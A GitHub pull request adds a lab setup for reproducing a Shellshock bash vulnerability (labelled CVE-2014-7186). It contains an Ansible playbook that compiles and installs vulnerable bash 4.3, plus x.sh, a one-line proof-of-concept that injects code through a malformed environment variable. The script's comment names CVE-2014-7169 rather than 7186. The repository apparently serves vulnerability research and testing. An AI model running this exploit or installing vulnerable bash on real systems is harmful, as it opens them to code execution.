Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2014-7186 #22

Merged
merged 4 commits into from
Nov 26, 2024
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
5 changes: 5 additions & 0 deletions CVE-2014-7186/cvex.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,5 @@
blueprint: ubuntu2204
ubuntu:
trace: bash
playbook: exploit.yml
command: /tmp/x.sh
Binary file added CVE-2014-7186/data/bash-4.3.tar.gz
Binary file not shown.
11 changes: 11 additions & 0 deletions CVE-2014-7186/data/x.sh
Original file line number Diff line number Diff line change
@@ -0,0 +1,11 @@
#!/bin/bash

# CVE-2014-7169 specifically exploits a file creation issue in bash. The date command demonstrates
# the ability to execute arbitrary code through a malformed environment variable &
# the creation of /tmp/echo file confirms the system executed the file creation, a specific
# subset of Shellshock
# for more info see: https://access.redhat.com/articles/1200223

cd /tmp; rm -f /tmp/echo; env 'x=() { (a)=>\' bash -c "echo date"; cat /tmp/echo


50 changes: 50 additions & 0 deletions CVE-2014-7186/exploit.yml
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
---
- name: Replicate CVE-2014-7186
hosts: all
become: true
tasks:
- name: Update apt cache
apt:
update_cache: yes
become: yes

- name: Install prerequisites
apt:
name:
- build-essential
state: present
become: yes

- name: Copy bash-4.3.tar.gz to /tmp directory on the remote server
copy:
src: data/bash-4.3.tar.gz
dest: /tmp/bash-4.3.tar.gz
mode: '0644'

- name: Extract Bash source
unarchive:
src: /tmp/bash-4.3.tar.gz
dest: /tmp/
remote_src: yes

- name: Compile and install vulnerable Bash
shell: |
cd /tmp/bash-4.3
./configure
make
make install

- name: Verify Bash version
shell: "/usr/local/bin/bash --version"
register: bash_version_output

- name: Display Bash version
debug:
msg: "{{ bash_version_output.stdout }}"

- name: Copy the script to the target
copy:
src: data/x.sh # if it worked, the time and date information will be output on the screen and a file called /tmp/echo will be created
dest: /tmp/x.sh
mode: '0755'